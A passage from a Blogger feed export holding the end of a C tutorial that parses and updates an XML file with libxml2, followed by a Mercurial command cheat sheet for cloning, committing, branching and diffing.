<span style="color: #666666;"> if ((!xmlStrcmp(cur->name, (const xmlChar *)"host"))) {</span><br />
<span style="color: #666666;"> key = xmlNodeListGetString(doc, cur->xmlChildrenNode, 1);</span><br />
<span style="color: #666666;"> fprintf(stderr,"host: %s\n", key);</span><br />
<span style="color: #666666;"> xmlFree(key);</span><br />
<br />
<span style="color: #666666;"> // search for "hash" attribute in the "host" node</span><br />
<span style="color: #666666;"> attr = xmlHasProp(cur, (const xmlChar*)"hash");</span><br />
<span style="color: #666666;"> </span><br />
<span style="color: #666666;"> // if attr is not found then set it</span><br />
<span style="color: #666666;"> if(attr == NULL){</span><br />
<span style="color: #666666;"> /*</span><br />
<span style="color: #666666;"> * Add the Attribute and value of the attribute</span><br />
<span style="color: #666666;"> */</span><br />
<span style="color: #666666;"> attr = xmlNewProp(cur, (const xmlChar*)"hash", (const xmlChar*)"12345678");</span><br />
<span style="color: #666666;"> </span><br />
<span style="color: #666666;"> /* Attribute is now set and has value.</span><br />
<span style="color: #666666;"> * Just retrieve the value and display it</span><br />
<span style="color: #666666;"> */</span><br />
<span style="color: #666666;"> key = xmlGetProp(cur, (const xmlChar*)"hash");</span><br />
<span style="color: #666666;"> fprintf(stderr,"hash: %s\n", key);</span><br />
<span style="color: #666666;"> xmlFree(key); </span><br />
<br />
<span style="color: #666666;"> }else{</span><br />
<span style="color: #666666;"> /* Attribute is available</span><br />
<span style="color: #666666;"> * Just retrieve the value and display it</span><br />
<span style="color: #666666;"> */</span><br />
<span style="color: #666666;"> key = xmlGetProp(cur, (const xmlChar*)"hash");</span><br />
<span style="color: #666666;"> fprintf(stderr, "hash: %s\n", key);</span><br />
<span style="color: #666666;"> xmlFree(key); </span><br />
<span style="color: #666666;"> }</span><br />
<span style="color: #666666;"> </span><span class="Apple-style-span" style="color: #666666;"> </span><br />
<span style="color: #666666;"> } // end of IF loop " host"</span><br />
<span style="color: #666666;"> </span><br />
<span style="color: #666666;"> // check for "sctxid" childern element node of "url" node</span><br />
<span style="color: #666666;"> if ((!xmlStrcmp(cur->name, (const xmlChar *)"sctxid"))) {</span><br />
<span style="color: #666666;"> key = xmlNodeListGetString(doc, cur->xmlChildrenNode, 1);</span><br />
<span style="color: #666666;"> fprintf(stderr,"sctxid: %s\n", key);</span><br />
<span style="color: #666666;"> xmlFree(key);</span><br />
<span style="color: #666666;"> } // end of If loop "sctxid"</span><br />
<span style="color: #666666;"> </span><br />
<span style="color: #666666;"> cur = cur->next;</span><br />
<span style="color: #666666;"> } // end of While loop</span><br />
<br />
<span style="color: #666666;"> return;</span><br />
<br />
<span style="color: #666666;">} // end of parseURL function()</span><br />
<br />
<span style="color: #666666;">/*</span><br />
<span style="color: #666666;"> * Parsing the XML file and Reading the Element Nodes</span><br />
<span style="color: #666666;"> */</span><br />
<span style="color: #666666;">static void parseDoc(char *xmlFileName) {</span><br />
<span style="color: #666666;"> xmlDocPtr doc; // pointer to parse xml Document</span><br />
<span style="color: #666666;"> xmlNodePtr cur; // node pointer. It interacts with individual node</span><br />
<br />
<span style="color: #666666;"> // Parse XML file </span><br />
<span style="color: #666666;"> doc = xmlParseFile(xmlFileName);</span><br />
<br />
<span style="color: #666666;"> // Check to see that the document was successfully parsed.</span><br />
<span style="color: #666666;"> if (doc == NULL ) {</span><br />
<span style="color: #666666;"> fprintf(stderr,"Error!. Document is not parsed successfully. \n");</span><br />
<span style="color: #666666;"> return;</span><br />
<span style="color: #666666;"> }</span><br />
<br />
<span style="color: #666666;"> // Retrieve the document's root element.</span><br />
<span style="color: #666666;"> cur = xmlDocGetRootElement(doc);</span><br />
<br />
<span style="color: #666666;"> // Check to make sure the document actually contains something</span><br />
<span style="color: #666666;"> if (cur == NULL) {</span><br />
<span style="color: #666666;"> fprintf(stderr,"Document is Empty\n");</span><br />
<span style="color: #666666;"> xmlFreeDoc(doc);</span><br />
<span style="color: #666666;"> return;</span><br />
<span style="color: #666666;"> }</span><br />
<br />
<span style="color: #666666;"> /* We need to make sure the document is the right type. </span><br />
<span style="color: #666666;"> * "root" is the root type of the documents used in user Config XML file </span><br />
<span style="color: #666666;"> */</span><br />
<span style="color: #666666;"> if (xmlStrcmp(cur->name, (const xmlChar *) "root")) {</span><br />
<span style="color: #666666;"> fprintf(stderr,"Document is of the wrong type, root node != root");</span><br />
<span style="color: #666666;"> xmlFreeDoc(doc);</span><br />
<span style="color: #666666;"> return;</span><br />
<span style="color: #666666;"> }</span><br />
<br />
<span style="color: #666666;"> /* Get the first child node of cur.</span><br />
<span style="color: #666666;"> * At this point, cur points at the document root, </span><br />
<span style="color: #666666;"> * which is the element "root"</span><br />
<span style="color: #666666;"> */</span><br />
<span style="color: #666666;"> cur = cur->xmlChildrenNode;</span><br />
<br />
<span style="color: #666666;"> // This loop iterates through the elements that are children of "root"</span><br />
<span style="color: #666666;"> while (cur != NULL) {</span><br />
<span style="color: #666666;"> if ((!xmlStrcmp(cur->name, (const xmlChar *)"url"))){</span><br />
<span style="color: #666666;"> parseURL (doc, cur);</span><br />
<span style="color: #666666;"> }</span><br />
<span style="color: #666666;"> cur = cur->next;</span><br />
<span style="color: #666666;"> }</span><br />
<br />
<span style="color: #666666;"> /* Save XML document to the Disk</span><br />
<span style="color: #666666;"> * Otherwise, you changes will not be reflected to the file.</span><br />
<span style="color: #666666;"> * Currently it's only in the memory</span><br />
<span style="color: #666666;"> */</span><br />
<span style="color: #666666;"> xmlSaveFormatFile (xmlFileName, doc, 1);</span><br />
<br />
<span style="color: #666666;"> /*free the document */</span><br />
<span style="color: #666666;"> xmlFreeDoc(doc);</span><br />
<br />
<span style="color: #666666;"> /*</span><br />
<span style="color: #666666;"> * Free the global variables that may</span><br />
<span style="color: #666666;"> * have been allocated by the parser.</span><br />
<span style="color: #666666;"> */</span><br />
<span style="color: #666666;"> xmlCleanupParser(); </span><br />
<br />
<span style="color: #666666;"> return;</span><br />
<br />
<span style="color: #666666;">} // end of XMLParseDoc function</span><br />
<br />
<br />
<span style="color: #666666;">int main(int argc, char **argv) {</span><br />
<span style="color: #666666;"> char *xmlFileName;</span><br />
<br />
<span style="color: #666666;"> if (argc <= 1) {</span><br />
<span style="color: #666666;"> printf("Usage: %s inputfile.xml\n", argv[0]);</span><br />
<span style="color: #666666;"> return(0);</span><br />
<span style="color: #666666;"> }</span><br />
<br />
<span style="color: #666666;"> // Get the file name from the argv[1]</span><br />
<span style="color: #666666;"> xmlFileName = argv[1];</span><br />
<br />
<span style="color: #666666;"> // Custom function to parse XML file</span><br />
<span style="color: #666666;"> parseDoc (xmlFileName);</span><br />
<br />
<span style="color: #666666;"> return (1);</span><br />
<span style="color: #666666;">}</span><br />
<br />
<br />
To compile the above program use following command:<br />
<span style="color: #666666;">$ gcc `xml2-config --cflags --libs` -o xmlexample xmlexample.c </span><br />
<br />
To run the program, use following command:<br />
<span style="color: #999999;">$ ./xmlexample data.xml</span></div>Unknownnoreply@blogger.com4tag:blogger.com,1999:blog-5267091008358194058.post-12921454955344427412011-02-28T22:47:00.002+08:002013-10-16T19:13:21.947+08:00Mercurial HG HOWTO guide<a href="//affiliates.mozilla.org/link/banner/47004"><img src="//affiliates.mozilla.org/media/uploads/banners/910443de740d4343fa874c37fc536bd89998c937.png" alt="Download: Fast, Fun, Awesome" /></a> <br /> <br />
<div dir="ltr" style="text-align: left;" trbidi="on">In this tutorial I will cover the basic commands you will need to use mercurial.<br />
<i>hg help</i> is your first friend and <a href="http://mercurial.selenic.com/wiki/">Mercurial Wiki</a> is your second.<br />
<br />
<b>Help for Command:</b><br />
$ hg help <command><br />
or<br />
$ hg <command> - -help<br />
<br />
<br />
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><b>Commands to Create, Clone Repository</b></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">To make a new repository:</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">$ hg init <path></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><br />
</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">To copy a repository from an existing repository:</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">$ hg clone <sourcePath> [<DestinationPath>]</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><br />
</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">To clone specific branch of the repository:</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">$ hg clone -r <barnchName> <sourcePath> [<destinationPath>]</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><br />
</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">To copy existing repository to a new locaiton:</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">$ hg clone . <newPath></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><br />
</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">To get changes from server repository and update working set:</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">$ hg pull -u</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><br />
</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">To get changes for specific branch from server repository:</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">$ hg pull -r <branchName></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><br />
</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">To see what changes will come in on a PULL command:</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">$ hg incoming</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><br />
</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">To publish changes to specific branch on server repository:</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">$ hg push -r <branchName></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><br />
</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">To see what changes will go out on a PUSH command:</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">$ hg outgoing</div><div><br />
</div><br />
<b>Commands for Add, Remove, Rename, Copy Operation</b><br />
Add Specific file to repository:<br />
$ hg add <filename1, filename2, ...><br />
<br />
To remove file from repository but don't delete from file system:<br />
$hg remove <filename1, filename2...><br />
<br />
To remove file from repository and delete from file system as well"<br />
$ hg remove -f <filename1, filename2,...><br />
<br />
To add all new files and remove all deleted files from repository:<br />
$ hg addremove<br />
<br />
To move or rename files in the repository:<br />
$ hg move <oldfilename> <newfilename><br />
<br />
To copy files in the repository:<br />
$ hg copy <oldfilename> <newfilename><br />
<br />
<br />
<b>Commands for Commit, Revert Changes</b><br />
To commit Changes to server repository:<br />
$ hg commit<br />
$ hg push<br />
<br />
To commit as a particular user:<br />
$ hg commit -u <username><br />
<br />
To revert all changes in local repository:<br />
$ hg revert -a<br />
<br />
To revert specific changes in local repositroy<br />
$ hg revert <filename1, filename2, ..><br />
<br />
<b>Commands to View Changes</b><br />
To view changes between working set on your local repository and repository tip:<br />
$ hg diff<br />
<br />
To view changes between working set on your local repository and specific revision:<br />
$ hg diff -r <revisionNumber><br />
<br />
To view changes between two revisions:<br />
$ hg diff -r <revisionNumber> -r <revisionNumber><br />
<br />
To check what are changes in working set:<br />
$ hg status<br />
<br />
To list all changesets:<br />
$ hg log<br />
<br />
<b>Commands to Update Working Set</b><br />
To change working set to tip:<br />
$ hg pull<br />
$ hg up<br />
<br />
To change working set with discarding any current work:<br />
$ hg update -C<br />
<br />
To change working set to specific revision:<br />
$ hg update -r <revisionNumber><br />
<br />
To change working set to specific branch:<br />
$ hg update -r <branchName><br />
<br />
To see the list of branches available for merging:<br />
$ hg heads<br />
<br />
<b><br />
</b><br />
<b>Commands for Handling tags and Branches</b><br />
To delete a tag:<br />
$ hg tag -r <tagtext><br />
<br />
To tag a revision:<br />
$ hg tag [-r <revisionNumber] <tagtext><br />
<br />
To list tags:<br />
$ hg tags<br />
<br />
To create new branch:<br />
$ hg branch <branchName><br />
$ hg commit -m "New Branch created <branchName>"<br />
<br />
To delete a branch:<br />
$ hg commit - - close-branch <branchName><br />
<br />
To see the list of branches available:<br />
$ hg branches<br />
<br />
<b>For HG Diff command setting in .hgrc file in /home/username folder: </b><br />
<br />
[diff]<br />
git=1<br />
showfunc=1<br />
unified=8<br />
<br />
<br />
<b>Commands related to Patch:</b><br />
Generating a patch:<br />
$ hg diff > patchfilename<br />
<br />
Discarding all local changes:<br />
$ hg revert -a<br />
<br />
<br />
</div>Unknownnoreply@blogger.com2